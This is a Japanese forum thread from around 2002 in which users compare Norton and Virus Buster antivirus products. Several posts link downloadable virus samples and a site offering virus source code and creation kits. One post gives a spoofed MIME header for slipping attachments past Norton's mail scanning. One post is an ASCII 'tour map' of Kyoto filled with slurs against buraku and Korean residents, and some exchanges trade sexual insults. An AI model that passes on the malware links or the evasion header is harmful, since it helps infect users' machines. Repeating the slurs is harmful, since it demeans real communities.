あと、Nimdaが見つかった時、「除外」はしてないよね？？
　通常ウィルス定義が最新で見つからないなんて事は無いけどね〜

>>523
Klez.Dもらったけど、Nortonで検出できない。
Bloodhoundは高、全ての拡張子をスキャンにしても。

EICARはヒットしたけどね。

誰かぁっ、答えて、赤丸先生！！

>>521
そのようなことを言っていては，昨今のインターネットの中，HTTPサービスを提供するのは無理です。
タイムマシンに乗って，幸せな時代へお帰りなさい。

>>522
たしかに、お金はかかるけど、そのほうがいいのかな

>>523
真っ赤な画面になったあと、削除を選択しました。
そのあとノートンでHDDをウィルスチェックしたらノートンでは「感染ファイル０」と。
そのあと、トレンドマイクロのオンラインウィルスチェックで引っかかりました。

定義ファイルの更新、うーん、2週間前ぐらいに実行してましたけど、
日付までみてなかったような、

ウィルスにかかってからは、念のため定義ファイル更新して
日付をチェックしてから、スキャンしたけど、「感染ファイル０」となってました。

ニムダってA-Eまであるんですねえ。ノートンで引っかかった時は、ニムダだ、
と思っただけで、そこまで詳しく見てませんでした。

レスありがとうございました。

>>526
そうですね。素人が下手に手を出すべきじゃないですね。
とくにCGI、SSIなど、高級なスクリプトなどは、

実際、鯖立ててる人は多いと思うのですが、こういうときは、どうしてるの？
不正なアクセスとかは
やっぱり、無視をきめこんでるんかな？

もうすぐ期限切れになるのでノートンに変えてみる。

パーソナルファイアーウォール使いたいから
ノートンＩＴセキュリティーにする。

パターンファイルの配給はどっちが早いんだ？

クロスアップグレードパッケージってなに？

ＦＷとの統合を考えたら
やっぱノートンの方がいいね。

>>527

　分かった、おそらく、ウィルスを削除ではなく、検疫したんだよ。
ウィルスバスターは、NAVの検疫のフォルダ（Quarantin）の中まで
スキャンしたから、ウィルスが見つかった。
　NAVでは、検疫済みのファイルに関しては対処済みなのでスキャンされない
んだよん。。。By関係者。

ＶＢは最初他ＦＷソフトと共用出来なくしたことで
かなりユーザーを減らしたのではないか？

>>532
レスありがとうございます。
検疫ではなく、削除しました。
そのほうが安全だと思って。

それにVBでウィルスが見つかったフォルダは
c:\windows\（インターネットテンポラり）\
のなかの（exe)実行ファイルでしたし。

NAVで検疫すると、VBでひっかかってしまうのですか？
それって危険じゃないですか？

ありがとうございました。

今日シマンテックから1ヶ月お試し用のアンチウイルス2002をもらってきたんだけど。
スキャン………めっちゃ時間かかるのね。2時間30分やっても終わらなかった…。
これってどう言う事！？スキャンのお手軽さはVBの方が上なのか？

>>535（・∀・）ｲｲ!

>>535
いつも5時間以上掛かりますがなにか？

>>535
スキャンが早いと、「ホントにちゃんとスキャンしてるのかｺﾞﾗｧ!!」
と心配になるという意見もあり。

>538
確かに。（苦笑
でも、一応スキャンしているみたいですよ、
ウイルスファイル何個か見つけてるし。
でも削除失敗しまくってるし。<ｲﾐﾈｰｼﾞｬﾝ

ところで>537さん、
その5時間の間、何してます？

ちょっと質問。
ノートンやバスターの日本語版って年間サポートで3000〜4000円もかかんの？
PC-Cillin（英語版のバスター）だと、年間6＄〜7＄なんだけど。(Early bird price)
もうすぐライセンス切れるし、常駐監視重いんでこれを機会に日本語版ノートンに乗り換えようと考えてたんだけど、やっぱり英語版のPC-Cillinでライセンス継続しようかな。

　

1500

あげ

以下はノートンでは反応しません。ノートン以外はどうですか？
http://easyweb.easynet.co.uk/~hiros/virii99/Not/asciiv.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/cb4111.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/dodgy.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/urkel.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Packed/winvirii98.zip　Bloodhoundがある。

>>544
バスターで全部反応。

　

>>544
検出名は？
ログを貼ってくれ！

>544
体験版落として自分で試せば？？？
上からASC�UV.613、、、、、後は自分でやってね

>>485はウィルス感染してるかもしれない

ノートン製品版を使用のため体験板を試すのは不可能。

お前みたいに体験板は使っておらん。 >>548 はアフォ！！！

>>485
http://www.google.com/search?q=cache:gGdgezjpqNoC:www.symantec.com/region/jp/sarcj/data/w/w95.mtx.html+W95.MTX+%83E%83C%83%8B%83X&hl=ja&lr=lang_ja

>>549
このへんのことだろ？

アポはお前だ>>549

>>550
> ノートン製品版を使用のため体験板を試すのは不可能。

なに勝手なことほざいてんだ。知るかよそんなこと。

>>553
なに勝手なことほざいてんだ。知るかよそんなこと。

ログを貼れば済むこと。　
>>553 はナマでやってるのか？
インターネット＝ソープランドのマンコ
パソコン＝ >>553 の淋、蔵まみれのチンコ

age

>>554
しばらく生でやってないよーー

以下はノートンでは反応しません。ノートン以外はどうですか？
http://easyweb.easynet.co.uk/~hiros/virii99/Not/asciiv.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/cb4111.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/dodgy.zip
http://easyweb.easynet.co.uk/~hiros/virii99/Not/urkel.zip

ｃｂ４１１１以外は検出できる。　検出名：ＤｉｒＤｏｓ．Ｇｅｎｅｒｉｃ
-----
>>553 の淋、蔵まみれのチンコの件はどうなった？

>> 554
> ログを貼れば済むこと。

それが人にものを頼む態度なわけ？
なら、君が自分で調べれば済むこと、でしょ。
バスター製品版なり新しいマシンなり、
自分で調達して自分で試せばいいじゃん。
好きにしなよ。

> >>553 はナマでやってるのか？
> インターネット＝ソープランドのマンコ
> パソコン＝ >>553 の淋、蔵まみれのチンコ

どうやら梅毒がお脳にまで回ってるみたいだね。
2chしてる暇があったら、病院に行ってくれば？
ノートンやバスターじゃ、君の病気は治んないよ。

>>558
ｷﾃｨﾆﾏｼﾞﾚｽｶｺﾜﾙｲ
放置ｼﾙ

>>558
どうやらＨＩＶウイルスが脳にまで回ってるみたいだね。
2chしてる暇があったら、病院に行ってくれば？
ノートンやバスターでも、君の病気は死んでも治んないよ。
ただ死を待つのみ。

>>557
うちのノートン君ではdodgyとurkelとcb4111が検出できません
ウィルス定義、さっき更新したばかりなのに何故！？

失礼。意味不明なこと書いてた。

>>544
うちのノートンではdodgy、urkel、cb4111意外は検出しますが

なんかウィルス定義アップデートに時間かかるな

バスターの方が今のところ、他のソフトと相性がいいみたい。
問題はウィルスの解析依頼がバスターで出来ないこと。

やはりノートンのファイアーウォールとＶＢのウィルスソフトを
入れてルーターを入れれば完全さ！

マジな話、バスターの方がいいの？ウィルス対策は。

>>564
トレンドは、下記のフォームでウイルスを送りつければいい。
http://inet.trendmicro.co.jp/esolution/supform.asp

じゃなければ、サポ宛のメールで。

>>566
マジな話、このスレとバスタースレとノートンスレを読んだ上で、お好みのソフトを選んでください。

>>566

なんか、まどかの時の事を思うと
バスターがウィルス定義が多いって言うのは誤検出の気がするな
動作も重いし、相性も在るし・・・

以前ソースパクった言うのもバスターじゃなかった？（マカフィだったかな？）
その辺の胡散臭い噂が無いだけ、ノートンの方が良いような気がする

>>569
> 以前ソースパクった言うのも
それ摩訶の話。

>>570
やっぱ・・・ﾏｶだったか　　ｽﾝﾏｿ
どっちだったか確証は無かった（ｗ

聞いた話だけど、シマンテックは割れを黙認してるらしい
自社製品がコピーで出回る事の企業的損失よりも
世の中からウィルスが無くなる事の方が大事だと・・・

ソースも無くてｽﾝﾏｿ
どっかの掲示板で誰かが書いてたの見ただけの　　ﾊﾟｸﾘ　です（ｗ

>世の中からウィルスが無くなる事の方が大事だと・・・
単にシェアの拡大だろ・・・

大学とかに対しては半分割れ公認なのと同じ・・・

本気で取り締まるつもりなら馬鹿な大学関係者を締め上げろよ＞ACCS
貧乏な割れ厨を取り締まるより先に（ｗ

ノートン安置2002でＦＷの設定どーやっても出来ないんだけど、ＦＷ機能ついてるか？

ばかやろう○

ノートンでは反応しないウイルス？
http://www.ebcvg.com/binary2.php の
Mac.Scores
http://www.ebcvg.com/sections/binary/Mac.Scores.zip
Mac.T4d
http://www.ebcvg.com/sections/binary/Mac.T4d.zip
Win32.Mix
http://www.ebcvg.com/sections/binary/Win32.Mix.zip
以上の３つはノートンは反応しません。
−−−
http://www.ebcvg.com/viruses.php
Virus Source Codes
Polymorphic Engines
がある。
http://www.ebcvg.com/sections/polymorphic/W97M.txt
はBloodhound.HybridCOM
知識があればウイルスが作成できる。
ウイルス作成ソフトもある。
http://www.ebcvg.com/binary.php

で、どっちがいいのよ？VBとNAV

　

ノートン先生は割れ公認なのかよ！！
授業一回も出ないのに単位くれる先生みたいだな。

というより、ノートン買おうとしてるんだが
反応しないのもあるのかよ（ｗ）
そんなのソフトの役目果たしてないじゃん・・

VB買った方がいいのかなぁ

ノートンInternet Security 2002をインストールしたら2ＣＨに書き込みができなくなってしまった。
「プラウザがへんですよん」の表示
今、Internet Security 2002を閉じて書いています。。。
誰か〜教えてください。おながいします。。。（汗

>>580
【ノートン入れたら２ｃｈに書きこめない】人へ
http://pc.2ch.net/test/read.cgi/sec/1011084516/

>>580
ど素人はまずど素人板に逝け

>>579
どっちを選んでも現存の、また将来出てくるウィルスのすべてを
カバーできるわけじゃないんだし、どっちを選んでもいいんじゃない？
検出率では両方とも一定水準を満たしてるわけだし、
むしろ使い勝手から自分にあったものを選ぶのが正解だよ。
まあどっちを買うにしても、買ってから相性問題とかで困らないように、
まず一度体験版で動作チェックしてみたほうがいいと思うよ。

>>575
Mac.Scores
Mac.T4d

名前見て察しがつかないのかよ。

ﾔﾚﾔﾚﾀﾞﾈ､ﾏｯﾀｸ｡

>>583
ま、そうだよね（ｗ）
ウイルスもセキュリティホールもなくならないって言えば
そうなんだよ・・完全なソフトを入れたいってちょっと焦ってたな

両方とも一定水準は越えてるのか・・ならノートンにしよっと
1年間は保証が出来るみたいだし

ノートンって2台以上のパソコンで使う時は「マルチライセンスパック」を
買わないとだめなの？
今は普通の奴を使ってるんだけど、2台目にも同じソフトを使っても、定義ファイルとか
大丈夫なんでしょうか？

そういえばノートンにプロフェッショナル版とかゆう新製品が今日
発売されるんだよね、機能がノートン２００２版よりアップしたん
だとか、IDS機能・ネット使用制限機能・アカウント機能・ウェブ
コンテンツフィルタリング機能・Palm OS対応ウイルス対策機能が
追加されたんだって、その反面保護者機能が削除されたみたいだ。
http://www.symantec.co.jp/region/jp/products/nisproducts/

>>587
大丈夫とかそうゆー問題じゃないだろ？
常識考えろよお前何年生だ？

>>587
ノートンはUSのサイトに定義ファイル置いてないのか？
それをDLして使用するのは合法。

>>587

ここのを落としてみろ。
ttp://www.symantec.com/region/jp/sarcj/download/lang_pages/JP.html

バスターってライセンスもってると、新しいバージョンが出たときにタダで使えるよね。
ノートンってダメなの？

>>592
ダメだよ。

>589,593の考え方は普通　587の考え方はある程度普通
何もかも普通の考え方も良いと思うが少しぐらいは遊びの考えも必要と
思うのは俺だけかな、、、昔は皆アプリを廻して使っていたからな
スキルアップのためにチャレンジも良いと思うがただひとに聞かずに
自分で調べて実行するべきでしょう

いや、単にライセンス条項理解してないだけかと……。

age

で、バスターとノートンどちらがいいの？
バカフィーの期限が切れたので、どちらかを買おうと思うんだが。

バスターて重くない？

たしかに脳豚は常駐でも軽いかも。

（・∀・）600!!

ノートンの方がお薦め？

いや、バスターの方がいい

わりと雑誌で比較チェックしてるから見てみたら？

>>598
今日からバスターを使ってますけど、全然重くないですよ。
ちなみに、OSはWinMeでCPUはセレロン６００、メモリーは１９２です。

ぞねが重いからたいした意味なし
バスター

厨房です。教えて下さい。
ノートンとバスター、どちらの方がFW強いですか？

比ぶるまでもなくノ-トン

バスターのパッケージってダサいね

初めてセキュリティ関係のソフト入れるのよ。
今買うならどっち？結論出してください。

＞609
AVG VirusScanかな。英語読めれば、
無料の実用的なトライアル版(機能縮小版)使えます。
期限体験版ではないのが嬉しい。
NimdaもBadTransも検出できます。

googleで"AVG" "VirusScan"と検索してみれば。
メールアドレスでリージョンコード送られて来るので
適当なアドレスにはしないこと。


そんな私はDebian使い。

バスターかノートソかを聞いてるのですが…
すみませんねぇ

>>611
このスレとノートﾝスレとバスタースレを頭から全部読んで、
あなたの好きな方を選んでください。

>>611
マカフィーのVirusScanで決まりだろ
全米＆世界シェアNo.1の製品も知らんのか？
バスターもノートンも所詮マカフィーより駄目製品　シェアがそれを物語ってる
日本語版もソースネクストから出てる　買って幸せになれ

バカヒーは猿まねソフト。
それを買えと？

>>613
>>全米＆世界シェアNo.1の製品

？

とりあえずノートンを入れとけば？ＦＷはノートンが上なんだし
ウィルスも一応世界トップクラスなんだろうし

つまらん

VirusScanは1998年はトップだったかもしれないけれど、2000年はSymantecが売上トップじゃ？
http://www.symantec.com/press/2001/n011031.html

セキュリティ製品のシェアがトップと書いているから、その他の製品を含めてトップなのかもしれないけれど。

ちょっと調べきれなかった。

私はWin98SEでノートン2002使ってるんですが、
アンチウィルスのほうはいいんですが、どうもセキュリティを起動すると
リソース食わない割に無茶苦茶動作が重くなってしまうんです。
freeのZONEとノートンアンチウィルスの組み合わせだと、
リソース食うけど全然動作安定してて快適なんです。
最適化すれば２日間ぐらいは安定するんですが、３日もたつと
ギーギーガーガーでシャレにならないです。

ZONE（free）とノートンセキュリティだったら
どっちのほうがいいんですか？
そりゃ有料の分ノートンのほうがいいとは思うんですが
どういうところがいいんでしょうか？

過去ログ読んでたら私と同じ質問をしている人がいて
過去ログ読めと言われていましたが、特に触れられていなかったので
もしよければ皆さんの意見を聞かせてください。
過去ログ読んだんですが

ちなみにマカフィのアンチウィルスを値段の安さに
つられて先に買ったんですが、アンチウィルスだけで
とんでもなく重かったし、一回アンインストールして
再インストールしたらインストール中にエラーが起きてしまい
失望して乗り換えました。

結局、ノー�dを買いました。
私のPCには、バカフィーがバンドルされてるんですが、
買うのはクロスアップグレード・パッケージでいいんですよね。
間違ってるのなら、まだ開けてないので交換しに行ってきます。

よつあし　エタ─非人─四本指─かっこうだけは人間さ〜〜非人に人権はないよ、だって人に非らずだもん。

-　人間もどき、二足歩行よつあしの生息地　-
　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 │　 　 　 　 　 　 　 │　 　 　 　 　 　 　 　 　 　 　 　 ┃
　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　部落問題研究所 　 　 　 　 ｜　 　 　 　 　 　 　 　 　 坂本　雄琴
　 　 　 　 　 　 　 　 　 　 　 　 　 鷹峯部落　 　 　 　 　 　 │出雲路橋部落　 │　 　 　 　 　 　 　 　 　 　 │　ｿｰﾌﾟ街
　 　 　 　 　 　 　 ┌共産立命─千本楽只部落　 容疑者同志社犯罪者　田中養正部落 　 　 　 　 　 　 │　 ┃
　 　 　 　 　 　 　 │　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 │　 　 　 　 　 　 　 │　 　 　 　 　 　 　 　 　 　 │　 ┃
　 ━嵯峨嵐山━┿━花園━━円町━━┓　 　 　 　 　 │　 　 　 　 　 中核派熊野寮、岡崎部落 　 　 │　 ┃
　 　 　 　 　 　 　 │　 　 　 　 　 　 　 　 　壬生部落─烏丸御池───三条天部部落───錦林部落 │　 ┃
　 嵐山──帷子ノ辻 ─蚕ノ社 ──┐ 　┃　 　 　 　 　 │　 　 　 　 　 　 　 │　 　 　 　 　 　 　 │　 　 │　 ┃
　 　 　 　 　 　 　 　 　 　 　 　 　┌北花田 ╂─大──四条烏丸─ﾍﾙｽ街　出雲阿国像 　 　 　 │　 ┏┿西大津
　 　 　 　 　 　 　 　 　 　 　 　 　│ 　 └─╂─宮 　 　 　│　 　 　 　 　 　 　 │　 　 　 　 　 　 御陵　 ┃│
　 嵐山　 　 ┌───　西京極┘ 　 　 　 ┃ 　 　 　 　 　│　 　五条楽園 　五条処刑場跡 　 　 │　 ┃│
　 　│ 　 　 │　 　 　 　 　 　 　 　 　 　 　 ┃ 　 　 　 　 　│　 　 　 　 　 　柳原崇仁　　　 　 　 　 ├┐┃浜大津──
　 松尾──桂　 　 　 　 ┏━吉祥院部落┻━━━━崇仁内浜部落━┳━┿━━━━━━━┿山┻┿大津━━
　 　 　 　 　 │　 　 　 　 ┃　 　 　 　 　 　 　 　 　 　 　 ││　 　 　 　 　 ┃ 　│　 　 　 　 　 　 　 └科─┘
　 　 　 　 東向日　 　 向日町　 　 　 　 　 　 　十条唐戸部落 　 　 　 　 ┗東九ﾁｮﾝ━┓ 　 　 　 　 │
　 　 　 　 　 │　 　 　 　 ┃　 　 　 　 　 　 　 　 　 　 　 ││　 　 　 　 　 　 　 │　 　 　┃ 　 　 　 　 │
　 　 　 　よつあし　 　 　非人　　　 　　　　　　山ノ本清井部落　　　　　　　 ０番地　よつあし 　 辰巳部落
　 　 ┏━━┿━━━━┛　 　 　 　 　 　 　 　 　 　 　 │　 　 　 　 　 　 　 　 │　 　 　┃
　 　 ┃ 　 　│　 　 　 　 　 　 　 　 　 　 　 　 　 　 竹田改進部落────丹波橋┐　┃
　 　 ┃ 　 　│　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 　 │ 　│　┗━ 辰巳━┓
　　高槻　高槻市 　　　橋本遊郭跡─六区ﾎﾟﾝｺﾂ─競馬場─中書島遊郭跡┴─┼───南口┐┃
　 　 ┃ 　 　│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　向島てるくはのる　　　蛆虫
　 　 ┃ 　 　│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　│　　　┏━━━┛
　 　 富田部落　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　ウトロﾁｮﾝ ┃
　 　 ┃ 　 　│　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　│　　　┃

　　よつあし、エタ、非人がゾロゾロ京都の町、謹賀新年非人部落探検ツアー路線図三訂版

あ〜もう〜けっきょく〜どっちよ〜
じぶんで〜きめれ〜ません
なんかいも〜かう〜ものじゃ〜ないし〜

>>623
アンインストールに失敗しないという点では、バスター。

>>623どうせクダランオマエの人生　失敗しないように
最良のモノを選ぼうとするひつようもないだろ。

>>623 両方買おう！
>>622 よりによってこんなとこに誤爆すんな。

>>625

なんで参考に聞くだけでそうやって決めつけるかな？
オマエには聞いてないから消えてくれ。

じゃぁどっち買っても変わらんのね？

>>627
ここはおまえの質問箱か？
馬鹿を認めているのならもっと謙虚になれ
どーせ一人では決められないんだろ？

馬鹿は相手にするなよ
初めから聞く気なんてないんだから

>>629=>>630

わかった。じゃぁバスターにするよ。いろいろありがとう。

>>632
バーカ　ノートンにしとけよ

>>629-630みたいな勘違い厨房は1chにでもいけよ

>>632
まあ迷う気持ちはわかるけどさ。
体験版は試してみた？

>>635
んと、バスター2002の体験版今使ってます。
でも比べてみないことにはどっちを買おうか決めづらい…
>>633
みたいな言われ方をするとなおさら…

誰か>>621の質問に答えてください。
お願いします。

>>621

クロスアップグレードの箱に書いてあることをよく読むように。
対象のバージョンが書いてあるはず。
バカヒーが入ってないとセットアップ出来ないかは知らない。

ノートンは古いマシンだと相性悪いことがおおいな。
とくにセキュリティのほうはマシンをズタズタにしてくれる。
セキュリティオフにしてフリーのファイヤーウォール使用してる。

ノー�d プロ
と
バスター
ならどっちが上かな、ノー�d<=>ノー�d プロに大差はないかな。

ノートンの広告を非表示にする機能は（・∀・）ｲｲ

トレンドマイクロのURL反応ないぞ？

>>642
落ちてるね。

：名無しさん＠お腹いっぱい。 ：02/03/10 16:45
私はWin98SEでノートン2002使ってるんですが、
アンチウィルスのほうはいいんですが、どうもセキュリティを起動すると
リソース食わない割に無茶苦茶動作が重くなってしまうんです。
freeのZONEとノートンアンチウィルスの組み合わせだと、
リソース食うけど全然動作安定してて快適なんです。
最適化すれば２日間ぐらいは安定するんですが、３日もたつと
ギーギーガーガーでシャレにならないです。

ZONE（free）とノートンセキュリティだったら
どっちのほうがいいんですか？
そりゃ有料の分ノートンのほうがいいとは思うんですが
どういうところがいいんでしょうか？

過去ログ読んでたら私と同じ質問をしている人がいて
過去ログ読めと言われていましたが、特に触れられていなかったので
もしよければ皆さんの意見を聞かせてください。
過去ログ読んだんですが

>>644 重くなるのは正直、98のせい。

ノートン大先生＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
バスター＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞バカヒー猿まねソフト

>>646
納得

結構軽いしもんだいなし(-_-ﾒ)

昔からバスター使ってるから結構愛着がある。
トレンドマイクロは日本企業とは言い切れないけど、日本でデカクなった
会社だし、日本の代表的IT企業として頑張ってもらいたいからバスターを
推薦します。特に、ルーターを使ってればバスターでセキュリティーは
バスターで十分ではないでしょうか？

なんだよおまえら
ウイルスソフト金だして買ってんのかよ
おれは有効期限がないcorporate edition使ってるから
半永久的にただだよ（ｗ

>>650
2chは初めてか？

一つ目は、.dbxまたは.nchに変更されたファイルが　検知できない問題。
二つ目は、NullキャラクターがMIMEタイプに含まれている場合、ウイルスが検知が出来ないという問題。
三つ目は、RFCに準拠していないMIMEフォーマットの中に悪意のあるコードが含まれている場合、
ウイルスの検知動作がストップしてしまう問題。
これらにより、MIMEヘッダーのContent-Typeで、applicationとattachmentを操作されたファイルが
検知されないため、Wordなどのマクロウイルスが検知されずに実行されてしまう。ウイルスメールが検知されず、
トロイの木馬が仕込まれる。スキャン動作が停止されるため、ウイルスメールを受信してしまうなどの問題が発生する。

SecurityFocus
Symantec Norton AntiVirus Conflicting MIME Header Vulnerability
http://online.securityfocus.com/bid/4246

SecurityFocus
Symantec Norton AntiVirus Excluded Filetype Email Protection
Bypass Vulnerability
http://online.securityfocus.com/bid/4245

SecurityFocus
Symantec Norton AntiVirus NULL Characters Incoming Email
Protection Bypass Vulnerability
http://online.securityfocus.com/bid/4242

SecurityFocus
Symantec Norton AntiVirus Non-RFC Compliant Email Protection
Bypass Vulnerability
http://online.securityfocus.com/bid/4243

http://homepage2.nifty.com/spw/secure/index.html
http://www.securiteam.com/windowsntfocus/5PP0B0U6KU.html

Content-Type: application/msword;
name=\"Virus.nch\"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=\"Virus.exe\"

OS再インストールした後NAVも入れなおしたら購読期限が変わりますよね。
当然だとは思うんですけどこれってライセンス上どういう扱いになるんでしょうか？
ユーザー登録は去年の9月に済ませてあります。その時もらったシリアルを
入力すれば良いのかと思っていたんですが…
もう一回登録するべきなんでしょうか？

>>655
店で買ったＮＡＶ使ってるがシリアル入力はないが。

僕あんま知識ないからバスターにしよっと！

どこで買えば安いですか？？（通販？）

>>657
ポイントがつく家電量販店かな。

>>655
ＯＳ入れ直さなくても、ＮＡＶを一度アンインストールしてから再度インストールすると
購読期限がリセットされますよ。登録はそれとは別なんじゃないですか。
でもこの事実を故意に悪用するのはいけないと思います。

>655
>659
レスありがとうございました。
まあ、こちらは登録済みの正規ユーザー様なので
堂々と使う事にします（w
でも、ただアンインストールするだけで購読期限が延長されてしまうんでしたら
あまり意味が無い仕様ですね。てっきりそこらへんの情報はレジストリに残って
OS入れなおさない限り変化しないものだとばかり思っていました。

>>613
McAfeeは日本市場では１２%なんですが。

ノートンはWin98の時、4年前ぐらいか、使ってたけど重くて
やめて、ウィルスバスター入れてたな。バスターの方が軽かったし、
ノートンユーティリティーがすごい糞だったという悪い印象で使ってなかった。
今はフリーソフトとオンラインスキャンで事足りてるからどっちも使ってないが、
今は逆なのかね？
マカフィーはなんだか叩かれてるが、昔から軽くていいと思うよ。3.Xの時あたりは使ってた。

http://www.jade.co.jp/ はまだ存在するが
今はどうしてるのだろか？

バスターに全員引き抜かれのか？

バスターに全員引き抜かれのか？
バスターに全員引き抜かれ「た」のか？

age

ノートン＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
バスター＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞
＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞クソースネクストバカフィー

>>666
禿同。

age

今日暇なんでトレンドマイクロのＨＰのオンラインスキャンでＰＣをスキャンしたら
JS＿EXCEPTION.GNEに感染してしていた。そんなｱーと思い、常駐させているノートン
でスキャンしたら「感染したファイルはありません」のメッセージ。
しっかりしてよノートン君。

>>669 http://www.symantec.com/region/jp/sarcj/data/j/js.exception.exploit.html　として検出されない？

>>670
ノートンでは何も検出されなかったヨ。

トレンドのオンラインスキャンで駆除済みだったとか。

>>669
俺の所ではたまにＩＥのキャッシュ内で発見されるよ。

マカフィー駄目！ウイルスバスターで検出できたウイルスが検出できんかった。もちろんDATは最新。

>>669
そんなもんウィルスのうちに入らないよ（w

>>673
今回発見された場所はやはりＩＥのキャッシュ内でした。
>>675
やっぱりノートン常駐させてるから、どんな些細なウィルスでもノートンが検出しなかった
事に対し、なんだかなーと思ったのよ。

>>672
トレンドのオンラインスキャンは今回初めて。

>>672
駆除しないでしょ？
するの？

ウイルスバスターって最新のウイルスパターンファイルだけを
www.trendmicro.co.jp のどこかから入手できますか?

ウェブサイトを見てまわったところ、製品本体と検索エンジンはウェブブラウ
ザでダウンロードして更新できるようなんですが、パターンファイルのダウン
ロードページは見つかりませんでした。

ノートンの場合、ウイルス定義ファイルだけダウンロードして、ノートンがイ
ンストールされているPCで実行すれば最新ウイルスに対応できますよね。これ
と同じようなことはウイルスバスターではできませんでしょうか?

実はインターネットにつながっていないPCがあるのですが、他人から借りたフ
ロッピーを使うので、最新ウイルスに対応できるようにしておきたいんです。

http://www.antivirus.com/download/pattern.asp

>>679
677だけどオンラインスキャンは駆除しないよ。俺の場合はＩＥのキャッシュ
だったから削除したけど。
駆除したけりゃバスター買えということでしょう。

>>681
どうもありがとうございます。
パターンファイルの導入は下記URLにある方法でいいのでしょうか?
http://www.trendmicro.co.jp/nimda/file/donyu.txt

679>>682
ありがとうございます。
そうですよね。

僕の場合はマカなんですが、ヤバイなと思ったときはオンラインスキャンで
感染してないか一応二重チェックしてます。

>659に関連があるのかも？
マカフィーのプレインストール版を使用中ですが、
新しいウイルスソフトを買いたいのでこのスレを参考に
拝見していたんですが、オークションで、ユーザー登録不可のソフトを
高価にて売り買いしているのは，何故なんですか？
初心者なんです、どうか教えてくださいませ。

>>685
>>ユーザー登録不可のソフト
訳わからんです。

でも特殊な高価なアプリなら、高価な金額で登録不可でも売買されているけど。

ちゅうか、どっかの店でノートンでもバスターでもまともなのを買えばいいのに。

>686様
ユーザー登録不可というのは、登録済みということです。
この場合、一度他人が登録したウイルスソフトでも次のユーザーが
インストール出来、しかも、最新のウイルスパターン定義に
更新できるか？ということなのです。
よろしくお願いいたします。

>>687
バスターなら、シリアルと別に前のユーザーの割り当てられたIDがわかれば利用できるよ。
NortonはシリアルだけでLiveUpdateは利用できる。

けど、登録って譲渡だよね。漏れは何とも言えないっす。
だってさ、ウイルス定義ファイルの更新って登録後1年間だけ有効だよね。
とすると、登録後1年弱の時間が経って、案内のメルが来るのは以前の登録者だよ。
その時に面倒じゃないのか？

>688
ご返答遅れました。ありがとうございます。
中古ソフトの売り買いは、ダメなことはわかってはいるのですが・・・

>689
常時接続環境とオンライン登録が一般的になった昨今、
ソフトメーカをあまり舐めん方がいいと思うよ。
ましてやセキュリティーソフトの会社だし…
いや、老婆心です。

>689
http://www.trendmicro.co.jp/support/news.asp?id=159
＞オークションでの「ウイルスバスター」購入に際してのご注意
＞オークションで販売されている弊社製品「ウイルスバスター」の中には、使用許諾契約に違反して販売されているものがありますので、購入の際にはご注意ください。

＞例�@「ユーザ登録できない商品を販売しているケース」
＞出展者でのユーザ登録が存在している可能性があり、ご購入されてもパターンファイル、検索エンジン、最新モジュールおよびサポートサービスの提供が受けられず、新種のウイルスに対応できない場合があります。

＞例�A 「シリアル番号のみを販売しているケース」
＞販売されているシリアル番号でユーザ登録が存在している場合には、ソフトウェアが使用できない場合があります。

バスターだと一日一回はMSに情報を送信するか？というメッセージとともにIEが落ちてたが、ノートンにしたら出なくなった。　ノートンﾏﾝｾｰ

バンドル版のマカフィー　→おいらのバージョンでは定義ファイルを手動更新
　　　　　　　　　　　　　　　　　しないといけない、ちゃんと更新できたか不安。

ノートン体験版　　　　　　→２chに書き込みができなかった。
　　　　　　　　　　　　　　　　　フリーズが増えた。

バスター体験版　　　　　→ウイルス（バットトランス）を初めて発見してくれました。
　　　　　　　　　　　　　　　　　
てなわけで、バスターに5000点。

　┌―――――――――‐
　｜今まさにノリノリの〜
　└―ｖ――――――――
　　　　　　┌―――――――――‐
　　　　　　｜　　元気モリモリの〜
　　　　　　└――ｖ―――――――
　　　　　　　　　　　　　　　　　┌―――――――
　　　　　　　　　　　　　　　　　｜　色とりどりの〜
　　　　　　　　　　　　　　　　　└―――――ｙ―‐
　　∧＿∧ 　　　∧∧　　 　　　　∧＿∧
　 （・∀・　） 　　（ ﾟДﾟ） 　　　　　（　´∀｀)つ
　⊂　　　つ 　　 (つ ＼つ　　　 ⊂　　　 ﾉ
　　 ＼ （＿） 　　 　ヽ （　)〜　　 人　　Y
　　　（＿）　　　　　　 し∪　　　（＿（＿_）




　　　　　　　　　　　ウィルスソフト


　　 ∧＿∧　　　　∧ ⊂ヽ　　　　 ∧＿∧
　　（　・∀・）　　　（ ﾟДﾟ）ﾉ　　　　（　´∀｀）
　　⊂　⊂ ）.　　　⊂ 、 ヽ　　　　 （つ　　つ
